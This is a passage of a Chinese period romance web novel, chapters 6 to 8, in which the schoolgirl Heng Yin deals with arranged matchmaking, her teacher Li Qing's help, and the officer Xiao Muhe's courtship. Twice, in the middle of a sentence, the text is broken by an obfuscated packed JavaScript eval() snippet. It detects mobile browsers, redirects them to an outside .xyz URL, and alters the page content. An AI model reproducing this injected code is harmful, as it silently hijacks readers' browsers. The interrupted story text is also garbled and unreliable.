她还听说,以前老师会邀请学生去公寓里参加读书会,办得很热闹,后来学校专门给她批了一间教室。有人说,学校这么重视她,因为她是华京大学毕业的,学问做的好,所以有些不重要的事上愿意由着她,有人说,李青背后有人撑腰,学校不敢真给她施压。 以前姮音觉得这些传闻多半都是些空穴来风,直到在报纸上看到阮月眉。但平日里李青完全没有提起自己的出身,也没说过自己的好友多么厉害,更没因此趾高气昂。 这般特立独行的做派,难怪学校里师生间私下议论时,都说李青是最新潮的新时代女性。两个新字叠在一起,足见其行事作风的特别。 李青也知道些姮音家里的变故,平时对姮音就多了几分关照。中午放学,她经常会特意叫住姮音,拉着她去学校附近的小食摊,买上几个热腾腾的豆沙包,新出炉的芝麻烧饼,或者是别的什么吃食,塞到书袋里,让姮音带回去,和她妈妈一起吃。 姮音拿着家里的书去请教,她也总是耐心解释,直到姮音彻底读懂。 这让姮音对李青很是依赖,偷偷在心里把她视作自己的姐姐,是启明星一般的存在。 6. 第六章 李青陪着姮音一路走回她家。路过一家老字号点心铺子时,李青进去片刻,出来时手里多了一个用牛皮纸包得方方正正的点心盒,上面系着细细的麻绳。 傍晚时分的胡同,能闻到饭菜的香气。 “拿着,给你妈妈。” 李青将点心递给姮音。 姮音家是个小小的院子,院门虚掩着。刚走进门,屋里就传来王兰的声音:“是阿音回来了吗?” “妈,是我。” 姮音应了一声,推门进去。 王兰已经从堂屋出来,看到女儿身后的李青,连忙道:“李老师,您怎么来了,快请进。” 她一边热情地招呼着,一边打量着女儿,见她头发重新编了辫子,脸上的脂粉也洗掉了,虽然有些倦态,但精神看着还好。 “瞧你这一头汗,快回屋擦擦,换身衣裳,别着了凉。”王兰催促女儿,又看向李青,有些不好意思,“李老师,您看这孩子,出去一趟弄得,您先屋里坐,我给您沏茶。” 姮音知道老师有话要和妈妈说,便放下点心,走进了自己的小屋。 她从墙角的脸盆架上取下搪瓷盆,走到院里的水缸边,舀了满满一盆清凉的井水端回屋里。 关上门,姮音脱下了旗袍,拿起搭在盆沿的棉布巾,浸入水中,拧得半干,开始擦拭身上的汗水。 胡同里也不是隔三差五都能洗澡,但是这样在夏天打湿身体,凉爽又舒适。她慢吞吞地擦着,思绪却不由自主地飘远。 她忽然想起,半年前,北平的冬天,下着大雪。萧牧河穿着黑色大衣,戴着貂皮帽子,他从她的旧书堆里抽出一本《唐史》,随意地夹在胳膊下,又转身踏着厚厚的积雪离去。 孽缘。姮音心里无声地冒出这两个字。怎么会是他呢。偏偏是他。 她捧起清凉的水,用力泼在自己脸上,把萧牧河的脸从脑子里驱逐出去。 擦洗完,换上条干净裙子,她拉开房门走出去,院子里已不见李青,想必是谈完话离开了。妈妈王兰正坐在堂屋门口的躺椅上,手里拿着把蒲扇,有一下没一下地给自己扇着风。 见到女儿出来,王兰停下摇扇的动作,朝她招了招手:“来,闺女,坐这儿。” 姮音搬了个矮矮的小板凳,乖巧地坐到妈妈脚边,她心里有些忐忑,不知道李青老师跟妈妈说了什么,也不知道妈妈会如何追问今天相亲的事。 王兰沉默了片刻,手里的蒲扇又轻轻摇动起来,带起一点微弱的风。她没提萧宅,没提相亲,只是说:“媒婆边还有几家托她打听的,你若是有空,愿意看,就去看看,若是没瞧上眼,就算了,妈不逼你了。你安心读你的书吧。” 姮音惊喜道:“真的?” 王兰嗯了一声:“大学,想去就去上。” 姮音简直不敢相信自己的耳朵。她不知道李青老师究竟对妈妈说了什么,竟能让妈妈的态度发生如此大的转变。 她猛地从小板凳上站起来,跳到妈妈面前,伸出双臂紧紧地抱住她。 她把脸埋在妈妈肩头,大声道:“谢谢妈妈。我就知道你最好了。” 王兰拍拍她的背:“好了好了,勒太紧了,快松开。” 姮音松开王兰,走到院里蹦跳两圈,王兰看她撒欢的样子,轻叹一声,是啊,她本来就是小孩性子,这时候逼她,和推她进火坑没什么两样。 不过姮音只是惊喜,因为之前妈妈固执地要她婚嫁,就连姮音给东方英上香她都不忘提这件事。东方英的牌位在堂屋供桌正中间放着,妈妈说过,每个月初一十五她都要上香的。 她对着块黑漆漆的牌位鞠躬,从旁边抽出一支线香,用供桌上的长明灯点燃,插进牌位跟前的香炉上。 王兰在旁边擦拭牌位,但这处经常打扫,也没什么灰尘,会刻意地对姮音说:“他在不在,日子不都这样过下去,他死了倒干净,反正有抚恤金,够咱们娘俩过日子,这笔钱的大头给你留着,将来做嫁妆,也好寻个好人家。” 东方英的死,从流血的伤口变成了疤,她的妈妈,总是很坚强,就是她总是幻想着姮音能够嫁到个好人家,从此高枕无忧一辈子,让姮音很烦闷。 姮音要么答非所问地打岔,要么就点点头,含糊地应付过去,王兰知道她心里还有些抗拒,也不强迫,就被她的话牵着走了。 她当然不想早早嫁人。 她想把书念完,想读大学,如果读完大学有机会,她还想读下去。姮音喜欢看书,因为从小到大,围在她身边最多的就是书了,她没有离开过北平城,最多到城郊烧纸,她对于这个世界的认知就是从书里来的。除了读书学习,姮音不知道自己还会做什么。 抚恤金刚到手的时候,姮音就仔细数过,非常多,如果她们俩不胡乱花销,只应付柴米油盐和衣食住行,这笔钱足够支撑许多年,也完全够姮音上大学。 甚至算下来,比之前的日子还要宽裕,不需要再另攒下学费,不需要妈妈再去打零工补贴家用,省去了操劳,她就能在家里好好休息了。 但是她没去和妈妈商量。 东方英常年在外,父女情分算不得格外深厚,在最初的悲痛过后,姮音很快收拾起心情,以前该过日子,现在依旧怎么过下去,但她不是。 王兰虽然和他吵吵闹闹,毕竟感情还在,最初几天,姮音起来的时候,饭已经做好了,王兰把有东方英字据的银行单据抱在怀里,坐在堂屋遥遥望着空荡荡的小院子,一坐就是一整天。 姮音劝她去歇着吧,她说自己有点累,躺着就好了。这也是姮音十几年里,第一次见到妈妈抽干了精气的样子,眼底的光彩黯淡,做什么都提不起劲头,只是望着远方。 她和东方英分房而居已有几年,一个守着胡同里的小院,一个住在学校提供的宿舍里,明明两个地方非常近,走一段路就能到,生生被两个人弄出了天各一方,天涯海角的感觉。 姮音夹在父母中间,传过无数次话。该交学费了,冬衣该拆洗了,清明谁去烧纸,家里想添个新柜子,或者过年还回不回来,回来几天。总是寥寥数语,像陌生人。 偶尔他回来吧,两人碰上面,免不了要拌嘴的。王兰骂他读死书读迂腐了,不懂柴米油盐贵,东方英嫌她头发长见识短,整日里只晓得计较些鸡毛蒜皮。谁也不肯让谁,话赶话,就成了吵架,小小的姮音就捂着耳朵坐在门外,等爸妈吵完了才进去。 姮音想去共情她,这样就能更好地安慰她,可是她真的没办法做到十成十的理解。 姮音喜欢在放学回家的时候,站在街边报摊跟前,看报纸上的内容,她也不去动手翻,就背着书袋站着,报纸折到哪一页朝外面,她就看哪一页。北平有什么大事,全国有什么大事,哪里打仗了,哪里有什么奇闻轶事,姮音看了,记在心里,回了家就和王兰说。 有一次,她在报纸上看到了东方英的名字,就把这份报纸买下来带回家里给王兰看。 有些字她不认得,王兰让姮音读给她听。都是些大道理,事关战争,事关国家,王兰正择菜,听到后面,她忽然站起来,箩筐从她的腿上摔下来,菜叶子撒了一地。 姮音记得,她怨恨地说他是要把这个家都拆散了,败光了。 她们互相怨恨,觉得道不同不相为谋,实际上妈妈很清楚他在做什么,他的理想抱负是什么,也清楚这么做很危险。但王兰不是殉道者,她只想好好生活,谁都没有错,如果这是和平年代,就不会有这种分歧了吧。 可是如果她对妈妈说,为了自己,必须振作,听起来多么的不公平。都这样了,姮音也就没和她提钱的事。 后来,妈妈就满心期盼着她能嫁到好人家,有人庇护,吃喝不愁。 姮音考虑过找李青求助。 她这般洒脱独立,姮音猜想,她是不是选择了独身呢,因为从没提起她讲过自己的丈夫,或许她能知道,怎么避开家里的婚姻安排。 姮音不讨厌结婚,只是觉得现在太早了,万一两眼一抹黑,嫁给一个坏人,这就叫做彻底完蛋。 但这个想法在她脑门转了几天,姮音还是没问老师。很简单,李青是李青,她是她。老师有老师的路,她有她自己的路要走,又怎么能同一而论。至于家里,那就更好说了,她懂妈妈的苦心,根本怨不起来。 早知道老师的话那么管用,姮音就直接张口拜托她了。 次日午后,图书馆。 姮音合上手中的书册,轻手轻脚放回书架原处。她走出图书馆的大门,正要沿着熟悉的路径往右拐,赶在天黑前回家,一扭头,就看到街边的黑色轿车。 车门旁倚着一个男人,姿态闲适。 他今天没穿军装,换了一身衣裳。米白色的西装长裤,上身是件浅色短袖衬衫,露出了小臂结实流畅的线条。他斜靠在车门上,一手插在裤袋里,另一只书扶在车门上,真像个刚从西洋归国的大少爷。 又是他萧牧河。 姮音她装作没看见,低下头,加快脚步,直愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389863|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣地就往右边拐去。 脚步声自身后响起,不紧不慢,却越来越近,最终与她并肩而行。 “这才一天工夫,就不认识了。”他说。 姮音脚步不停,也不看他,只盯着脚下的路,“长官您有事啊?” “有事。”萧牧河答得干脆,快走两步,绕到她面前,挡住了她的去路。 姮音被迫停下,抬起头,萧牧河煞有其事道:“昨天我忘了问,你是不是还不知道我叫什么?” 姮音被他这明知故问的样子气笑了,想起他昨日轻浮的话,心头火起,也顾不上什么身份,什么礼数了,索性直呼其名:“萧牧河。” 萧牧河追问道:“你知道是哪三个字吗。” 姮音被他问住了。她确实只知读音,但不知他的名字怎么写。 萧牧河伸出手,她还来不及反应,他温热干燥的手掌握住了她的手腕。 姮音一惊,下意识地想要抽回手,她看向四周,生怕被路过的同学或老师看见她们拉拉扯扯的,“像什么样子?快松开!” 萧牧河却恍若未闻,他握着她的手腕,另一只手轻轻展开她下意识握成拳的手掌。 她的手掌纤细,掌心柔软,一点薄汗。他低下头,目光专注,用自己粗糙的指腹,在她温热的掌心,一笔一画,缓慢地写了起来。 奇异的酥麻感和过分的亲昵让她昏了头。她站在原地,动弹不得,只能眼睁睁看着他的手指在自己掌心里游走。 “萧。”他的指腹划过。 “牧。”又是一笔。 “河。”最后一笔落下。 三个字,清清楚楚地印在了她的掌心。 萧牧河写完,并未立刻松开她的手,而是抬眸看向她。他在外打仗,皮肤晒得黑,眉目凌厉,眼神深邃,里面装着的点情愫追着她,跟着她,无处可逃。 姮音屏住了呼吸,盯着自己的掌心,她老学究的劲儿钻了出来,又轻声念了一遍。 萧牧河。 听不真切的名字,像一缕游丝飘散。 萧牧河听着她念出自己的名字,也跟着低沉地回应:“嗯,是我。” 姮音只觉得手腕被他握住的地方在灼烧,不由得心慌意乱。她将手从他掌中抽回,背到身后,紧紧攥住。她后退一步,拉开距离,恼羞道:“难道你平日都是这般,遇上个女孩子,就要拉人家的手?” 萧牧河收回手,耐着性子解释道:“自然不是,我以前在军校上学,毕业后就去战场了,身边全是男人扎堆。别说拉女孩子的手,就是说话的机会都少。”他似乎想起什么,才有几分烦闷,“要不然家里头也不会这么着急上火地逼着我来相亲了。” 姮音听着他的解释,眉头并未舒展,反而狐疑地打量着他:“谁知道你是不是在骗我,你们这些当官的,说话最会绕弯子。” 萧牧河摊手道:“你多了解了解我,不就知道了。” “谁想了解你。”姮音脱口而出。 说完,自己先愣了一下。是啊,如果真不想了解,又何必站在这里,跟他费这些口舌。 萧牧河像是忽然想到了什么,提议道:“你不想了解我,我了解了解你,你喜欢什么裙子,我带你去买,还是说你喜欢旗袍。” 姮音又闹了个红脸,这次是气的。 她瞪圆了眼睛,狠狠地剜了他一眼,她一个字也没再说,转身就走。 萧牧措手不及,他看着她气冲冲地走远,抬手挠了挠后脑勺,满是困惑。他刚才句话里说错什么了。他只是觉得每次见她都穿着裙子,想来应该挺喜欢的,怎么就惹她生这么大气。 姮音只觉得这人简直莫名其妙。 他们才见过几次,关系有么熟吗,就敢说要给她买新衣裳。 她越想越气,在心里骂了他两句。 走出十几步远,她放缓了脚步,微微转过头,假装是要看看马路对面的情况,眼角余光迅速往身后瞟了一眼。 他果然还站在原地,似乎正望着她这边。 姮音像做贼被抓了现行,立刻把头转了回去,下巴抬得高高的,目不斜视地盯着前方,装作若无其事的样子继续往前走,好像这样就能证明自己根本不在意他是否跟了上来。 萧牧河把她偷偷摸摸的样子看了个全,心情灿烂的很,他笑着摇了摇头,转身走到黑色轿车旁,拉开车门,弯腰坐了进去。 车门关上,萧牧河把手肘靠在方向盘上,蹭了蹭指腹,回味着她手心柔软的触感。 7. 第七章 暑假已过去大半,华京大学开学的日子渐渐近了。李青特意腾出时间,约了姮音一起去置办开学要用的文具书本。 两人走在熙攘的街市上。 姮音手里拎着书袋,步履轻快地跟在李青身边。李青今天穿着一身颜色素雅的旗袍,臂弯里挎着一个小巧的皮包。 “姮音,他没再找你的麻烦吧。”李青问。 姮音说:“老师放心,他没做这种下作的事,就是初七那天,还得再见一个客人。” “客人?” “还是媒婆牵的线,说是位大少爷,家里是书香门第,祖上出过翰林的。”她说着,自己先笑了,“听着倒是挺唬人。不过我想好了,就当是位寻常客人,客客气气地招待一番便是。等客人走了,我再找媒婆婉拒掉。反正我年纪还小,想专心读书,妈妈也不能真逼我。应付过去,也不难。” 李青听着她主意笃定的安排,伸出手,轻轻抚了抚姮音的长发,“不管做什么,你能坚定自己的心意,就很好。” 姮音感受到从她手中传来的温暖触感,她仰起脸,感激道:“老师,您帮了我这么多,开导我,还去跟我妈妈谈,我都不知道该怎么报答您才好,还要劳烦您特意抽空陪我出来买东西” 李青摇头,“傻孩子,我不是什么慈善家,也做不了普度众生的菩萨,但我是个老师。” 言外之意,教书育人,扶助学生,本就是她的本分,是她心甘情愿为之付出的事业,无需额外的感激和回报。 姮音听着,眼眶发热。 两人走到文宝斋门口,姮音摸了摸自己书袋,里面装着几块银元,是家里箱底取出的积蓄,妈妈让她用来购置文具书本。 她认真道:“老师,您陪我来选已经很好了,买文具的钱,家里都给我备好了,您千万别再破费。” 李青没有再多说什么,只是轻轻拍了拍她的肩膀,示意她一起进店。 姮音刚在文宝斋挑选了几支新毛笔和一叠宣纸,李青走到店门口,抱臂望向店外。 她对姮音说道:“今天出门,可不止我们两个,还有两个爱凑热闹的,也说要来。” 姮音闻言有些惊讶,正要开口问是谁,就见两个年轻人正相携走来,身影熟悉,正是天在萧牧河宅子里回廊上遇见的两位。 穿着灰绿长衫,是萧牧河的表兄,穿着雪青色的收腰旗袍,便是阮月眉了。不难看出两人关系亲近,夫妻关系很好。 姮音见阮月眉,算上报纸那次,已经是第四次。第一次,想必这位不大记得,那是在学校里。 爸爸刚去世不久的日子里,妈妈心情很差,她放心不下,向学校续了假。 女校里有几个和姮音关系很好的老师,平时就对姮音很关怀,听说了她家里的事,大家都是老师,多少清楚里面的内幕,更是对她怜爱,课下总会问她几句,看她还和以前一样,才放下心。 姮音上着李青老师的读书会,这是在课后预留的一个小时,专门跟着李老师一起读古文的,愿意的自己就来,不来了也不用打招呼。但姮音是只要没有别的重要的事,就一定会去的,所以她得和李老师说不去的原因。 读书会还没开始,姮音走到教室门口,就看见李青拿着卷书,坐在讲台后翘着腿,仔细看着,有个穿黛紫色丝绸倒大袖旗袍的年轻女子坐在她身边,好奇地左右瞧着,和女学生们热情搭话。 李青正好放下书,看到姮音,问她怎么了。姮音走过去,说自己又要请假。听到姮音说是因为妈妈伤心过度,李青说:“你的课业没问题,先紧着你家里的事吧。” 姮音问李青:“等我毕业了,还能来参加老师你的读书会吗?” 李青笑着说当然可以,一旁学生们七嘴八舌地问起阮月眉各种新鲜事,姮音虽然好奇,但没有多留,就和李青告别,回了家。 她以为这位穿旗袍的女子是毕业生,后来,姮音发现她并不是。 姮音喜欢背着书袋站在街边报摊前观望,因为来的次数多,卖报的老头儿已经认得她这个女学生。他本来揣着手,看道姮音就将手从袖子里拿出来,把《北平日报》翻到印着头版的那页给她看。 上面是一则重要的政治新闻。有关各地要员齐聚北平开会的文章洋洋洒洒占了大半张报纸,报纸正中间是一张照片,记录了这些大人物们在会堂外的台阶上依次排开留影合念。 姮音本想随便看看,因为这些什么要员,什么代表,自己都不认识。 但她很快在照片里发现了一张,不那么陌生的面孔。这位站在人群边缘的女士,身着长袖旗袍和毛领大衣,刊印在报纸上,照片变得模糊,也不难分辨出这位杏眼桃腮的年轻女人就是李青那位朋友,阮月眉。 她是照片里唯二的年轻人。 另一个是位穿长衫的年轻男子,五官俊逸,架着细边眼镜,但是他站在靠里的位置,与几位年长的政要并肩,神情从容自若。 姮音蹲下来,仔细看照片下面用来解释这些人物的小字。男人的名字叫傅灵毓,他是浙江省代表,旁边还注明了他是携夫人阮月眉女士与会。没想到阮月眉同她丈夫居是在政坛上活跃的人物,还真是年轻有为。 这么说的话,她的李青老师也是认识他们的,姮音很难把在教室里,坐在李青身边,衣着华贵,却没有半点架子,笑盈盈地和学生们答疑解惑的女士联系起来,不禁多了几分敬畏之情。 李青显然与她们相熟,她迎上前两步:“灵毓,月眉,你们倒来得巧。” “青姐。”傅灵毓与她打招呼。 李青自然地拉过姮音的手,为她介绍:“姮音,这位是傅灵毓,萧牧河的表兄。”她看向位身着雪青色旗袍的女子,“这位是阮月眉。” 傅灵毓道:“才华横溢的阮女士,也是灵毓的妻子。” 阮月眉嗔他:“这时候嘴倒贫了。” 姮音微微欠身,礼貌地问候:“傅先生好,阮女士好。” 李青还特意补了一句:“这两个去年从巴黎留学深造回来,灵毓也是华京大学读书,同样是中文系毕业的大师兄。” 阮月眉接话,语气活泼,“有什么不懂的,你问他就好了呀,我的嘛学的都是些风花雪月,不足为道。” 她带些南方口音,像是上海边的人。姮音虽说老家是苏州的,但只有父母年轻的时候才有往来,等到自己慢慢大了,因为动乱,早就断了联系,自己也没南方人说话的味儿。 李青笑着说:“你钢琴弹的好,诗写得好,怎么能说不足为道。” 阮月眉道:“初次见面,谦虚些,应该的。”她摆了摆手,眨巴眨巴眼睛。 姮音听着,心中不由得升起几分敬意。 阮月眉灵动优雅,傅灵毓气质沉静,两人有厉害的身家背景,书卷气浓厚,看起来也甚是相配。这样的条件,本该令姮音望而生畏,但是他们没有丝毫的架子,让姮音安心许多。 傅灵毓却先对她道歉:“东方小姐,天在牧河宅子里,实在抱歉,牧河他行事有时过于直接,唐突了你,我这个做兄长的,替他向你赔个不是,今天的费用,便算在我头上。” 姮音没想到他会主动提起天的事,更没想到他会替萧牧河道歉,一时有些无措,连忙摆手:“傅先生言重了,天没什么的。” 她本就因师兄身份而对傅灵毓心生亲近,此刻见他如此知礼周全,态度温和,好感更是倍增。 阮月眉道:“无妨,我们这位傅先生可不缺钱,你放心花便是。” 李青取笑她,“你啊,惯会插科打诨。” 傅灵毓见姮音有些局促,便不再多提日之事,转而温言道:“既然今天这么巧遇上了,不如我做东,请大家一起去庆德楼用个便饭,也算是正式认识一下,交个朋友。” 姮音下意识地看向李青,李青笑着点了点头:“灵毓请客,我们自然要去,正好也热闹热闹。” 见老师应允,姮音这才放下心来,对着傅灵毓再次欠身:“就多谢傅先生了。” 文宝斋店内,墨香浓郁。 傅灵毓显然对这里颇为熟悉,他引着姮音在货架间穿行。 他拿起一叠上好的宣纸递给姮音,同时耐心地讲起华京大学新生入学需要注意的种种事项:“入学后,会有一张选课单子发下来。选课是关键,中文系里,陈先生的音韵学是根基,虽艰深些,但必选,王先生的明清小说研究旁征博引,极有趣味,还有林先生的西洋文学概论,能开阔眼界。” 他将选课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389864|184236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的要诀和几位名师的风格娓娓道来,“这些你心里先记下,等单子发下来,也好有个数,省得临时再去打听,手忙脚乱。” 末了,傅灵毓还特意叮嘱道,“你若想每日回家住,可以申请走读,不必非得住宿舍。” 姮音听得认真,频频点头。 阮月眉则对文具兴趣不大,更多是好奇地东张西望,偶尔插一两句无关紧要的闲话。 李青的目光被柜台里新到的一批钢笔吸引。她独自踱步过去,拿起一支,拧开笔帽,仔细端详着笔尖的工艺,神情专注。 姮音抱着刚挑选的文具,像个小妹妹,亦步亦趋地跟在傅灵毓和阮月眉身后。 待到几人各自挑选妥当,姮音手里已多了两个鼓鼓囊囊的粗牛皮纸袋。她们走出文宝斋,重新走到街市上。 李青落后她们几步,正望着街景出神,大概又在构思文章。 傅灵毓忽然想起什么,又对姮音说:“对了,课本的事你也不用费心,等开学前,你直接来找我,我里有旧的,或者告诉你该去哪里买,若是你不想买,我也能问问有没有出旧书的。” 姮音听后连忙道:“您今天已经帮我很多了,选课的事也劳您费心讲解,课本我自己能想办法,真的不能再麻烦您了。” 傅灵毓却道:“谁让我有青姐这位忘年交呢,你可是她最喜欢的学生,我也勉强算是半个长辈,合该出一份力。” 李青被这话拉回了神思,她跟上前面走着的三人,促狭道:“不不不,应该说,谁让萧牧河小子肖想我们的小姑娘呢,该他们的。” 阮月眉被李青逗笑,她亲昵地用胳膊肘轻轻碰了碰傅灵毓的手臂,傅灵毓已有隐隐的头疼感。他想起萧牧河天在宅子里,信誓旦旦地说我就是喜欢她这样的时候,那副无赖的模样,让他这个做哥哥的该说什么是好。 两个小时后。 庆德楼的雅间里,杯盘已净,茶香袅袅。一顿饭下来,气氛融洽。饭毕,有轿车已在楼下等候多时。 她们先将姮音送回她家所在的胡同口。 “今天多谢你们。”姮音抱着装满新文具的纸袋,站在车窗外,与她们道别。 车窗内,傅灵毓微笑着点点头,阮月眉则热情地挥着手,李青又不放心地多叮嘱了几句。 车子离开后,她抱着纸袋,走进自家小院。刚推开屋门,王兰就放下手中的活计,关切问道,“怎么今天这么晚才回来?” 问完后,她才看到女儿怀里的纸袋上,“哟,买了这么多东西。” 姮音将纸袋小心地放在桌上,兴奋地说起今天的所见所闻,王兰惊讶道:“李老师还认识这样的人物,她们对你挺照顾的。” 姮音用力点头,“傅先生是他的哥哥,他特别好,给我讲了好多大学里的事,还说要帮我找课本,阮女士也很和气,还说我们脾气相投,以后相处着,应该会是朋友。” 王兰听着,心里又是感慨又是高兴。 自从丈夫东方英去世,她们母女俩从老家来到北平,与边的亲戚早已断了联系。姮音从小懂事,但身边除了自己这个妈妈,也没个兄弟姐妹可以说说知心话。如今能有她们这样出身好又愿意亲近她的朋友,实在是难得的福气。 “人家这么照顾你,咱们也不知道该怎么回礼才好。”王兰搓了搓手,有些无措。 姮音说:“妈,傅先生说了,不用回礼,只要我安安生生去上大学,好好读书,就是最好的报答啦。” 王兰忍不住问:“闺女啊,位傅先生,他的表弟,确实是那位军爷吧?” 姮音别扭道:“怎么突然提起他了。” 王兰观察着女儿的神色,试探着问:“你和那位爷,真就一点可能都没有吗?” “妈。”姮音打断妈妈的话,有些着急。 关于萧牧河的事像一团乱麻塞在她心里,他为什么突然改了主意,为什么又追到图书馆门口,做出些让人心慌意乱的举动,姮音想不透,只觉剪不断,理还乱。她也根本不知道该怎么回答妈妈。 “我累了,先回房了。” 姮音匆匆丢下一句,抱起纸袋,逃也似的转身走向自己的小屋。 王兰看着扇紧闭的房门,低声嘟囔了一句这孩子。 8. 第八章 一段时间后,姮音去和人家见面相亲,地方在东安块一家咖啡馆。这是媒婆口中读过书的先生选的,是个时髦的地方。临出门前,妈妈叮嘱她:“人家是留过洋的,在报馆做事,说话斯文,你也要大方些,莫要怯场。” 去的路上,姮音心想既然对面是读过书的知识分子,应该会好说话一些的吧。 姮音捏着写有地址的纸条,快要走到咖啡馆,远远看着门脸不大,窗户镶着大块的玻璃,一辆黑色的军用轿车停在街对岸,车窗是深色的,瞧不清里面。姮音下意识地别开脸,萧牧河张冷硬的脸在脑海里一闪而过。 她定了定神,笑自己多心,北平城里的官多了去了,哪能就是他。 姮音穿过马路,走近咖啡馆。 隔着玻璃窗,她瞧见靠窗的位置上坐着一个年轻男人,穿着浅灰色的西装,鼻梁上架着一副小小的圆框眼镜,正低头看着一份报纸。 察觉到她打量的目光,他抬起头,朝窗外望来,目光在姮音身上停留,似乎认出了她,脸上扬起一个温和有礼的笑容,主动朝她打了个招呼。 姮音往前走了两步,推开了玻璃门。 辆黑色军车里坐着两个男人。 萧牧河正与傅青琅说着金陵方面军务的棘手之处,手里还有份人员调动的军报。她刚推门,萧牧河便眼尖地看到了一身藕色长裙的姮音走进了一家咖啡馆,坐在了窗边戴着小眼镜的男人对面。 萧牧河拿着军报的手渐渐收紧,脸色也沉了下来。 傅青琅顺着他的视线望去,自然也看到了窗内相对而坐的两人。他虽不知女子是谁,但看萧牧河骤然阴沉下来,傻子也瞧得出怎么一回事。 他收回目光,嘲弄道:“若是我喜欢的人要和别的男人约会,直接抢回家,当晚就把婚事办了。哪像你一样,窝囊的很。” 萧牧河没接话,他看着姮音和人模狗样的男的坐在一处,挂着礼貌的笑,有来有往地聊天,还真是刺目的很,可是他的两个不听话的眼珠子就像是沾在上面了,怎么也挪不开。 只是傅青琅的话还真是不好听。 他喊了声闭嘴,傅青琅却浑不在意,只微微挑了挑眉梢,仿佛在欣赏一出好戏。 他又烦躁地顶回去一句:“你当初追柳老板,在人家门口站着淋了一天一夜,像只拔了毛的鸡,差点没跪下来哭求,才换来一个进门说话的机会。嘴上说的和匪寇似的,你怎么不去抢,倒有脸来教训我。” 听到萧牧河提到妻子,傅青琅张万年不变的冷漠脸皮上,终于有了点活人味。 他下巴微抬,傲然道:“哦。可她现在是我的夫人。” 萧牧河当然清楚傅青琅是多么痴迷他的夫人,可真是,一言欢能令其欲生,一言悲能令其欲死。生死欢悲,系在这一个人身上。可这位柳老板开始也并不中意傅青琅,傅少爷没少因为此事被笑话,但不论缠着也好,哀求也好,或是扮丑逗人笑也好,最后不也让柳姑娘多看了他几眼,认了他这位心上人。 反观他呢,什么也不是。萧牧河将份捏得不成样子的军报狠狠摔在身侧的座位上,纸张哗啦一声散落开来。 傅青琅道:“你看你,好大的脾气,摔打什么。” 萧牧河冷呵:“你真是有脸。” 他强迫自己重新拿起一份文件,死死盯着些密密麻麻的字,可无论如何它们也进不了脑子,反倒像一堆脑袋上插了牙签的苍蝇,在耳朵边上乱飞。 玻璃窗后,两人似乎谈兴正浓。萧牧河看在眼里,推开车门,一只脚已踏在路面上,傅青琅斜睨着他,他的动作却僵住,只脚像被线扯住,又给收了回来。 萧牧河重重坐回皮椅里,傅青琅慢悠悠道:“出息。” 傅青琅的话呛得他太阳穴突突地跳。萧牧河用手肘杵了下傅青琅,力道不轻。傅青琅知道他的动作,但车里空间不大,身体往车门方向一歪,格开的他的手,但还是被他捣到肋下。 傅青琅闷哼一声,稳住,眼神锐利,剜向萧牧河。 “傅灵越。少在这儿装腔作势。” 傅青琅笑叹道:“这是戳到肺管子了。” “行,你要这么说,你就不窝囊。” “我又怎个窝囊了。” 萧牧河继续揭他老底:“你现在装成个人样,谁当初为了你家夫人,在秦淮河边喝得烂醉如泥,抱着酒坛子哭得一把鼻涕一把泪,后半夜被巡逻队拖回家里,还不许别人把事传回人耳朵里,怕人家心烦,你才叫真窝囊。” 傅青琅,或者说傅灵越。他是傅灵毓的亲弟弟,金陵密查组处一把好手。后头这个名是他出生前取的,不管男女都叫灵越,后来青琅这名呢,是他老子死前没多久,请算命先生批了八字,说他命里缺金,特意改的。取青琅玕,似珠玉之意。望能保他一世平安。 有时候家里人和他说急眼了,也会骂他原来的名字。萧牧河现在就急眼了,这熊样子,把傅青琅看乐呵了都。 萧牧河瞥了眼她藕荷色的裙摆,扯了扯军装领口,脑子里飞快地盘算着,怎么才能把这场倒霉催的相亲搅黄了。 他纠结半天,却还是没做出什么逾越的动作。自己的确能靠着这身军装,肆意妄为,不择手段,可以把男人扣了,再放出来,也能派手下去里头闹乱子。但是他做不出来。 傅青琅骂他:“优柔寡断。” 萧牧河也骂他:“谁和你一样,做些脏了手的混账事。” 男人无所谓道:“又如何,纵然是千错万错,都算在我头上。” 密查组地方没什么好人。只是他还有一点点良心,寄托在妻子身上,不能叫他丧尽天良。对于傅青琅的说辞,萧牧河不置可否。 玻璃窗里面,姮音放下杯子,站起身。对面戴小眼镜的也站起了身,似在作别。 傅青琅催促他:“赶紧完事,我还能提早回去吃饭。” 萧牧河压根没听见傅青琅的话,他把手里的军报往傅青琅身上一拍,傅青琅眉头一跳,还是耐着性子把东西收拢了。他抬手正了正被扯歪的领口,推开车门,长腿一迈跨了出去。 傅青琅在车里嗤笑一声,没拦他。 萧牧河没往咖啡馆正门去,他大步穿过马路,拐进旁边条窄巷。 这是姮音回家方向经过的路,萧牧河就站在里,等着她经过。 姮音走出咖啡馆,沿着街边走,路过条窄巷,刚走几步,余光看见巷口有个高大男人,给她吓了一跳,脚下乱了方寸,下意识拔腿就跑。 手腕一紧,被人攥住。 力道很大,却又在快握实的时候,又收住了劲,只松松圈着她,给姮音拉了过来。他说:“是我。” 姮音惊魂未定,抬头,撞进他的眼中。日沉阁,风满楼,似是山雨欲来。她却不害怕了,问他:“萧长官。你怎么在这里。” 萧牧河松开手,平淡道:“路过。不行么。” 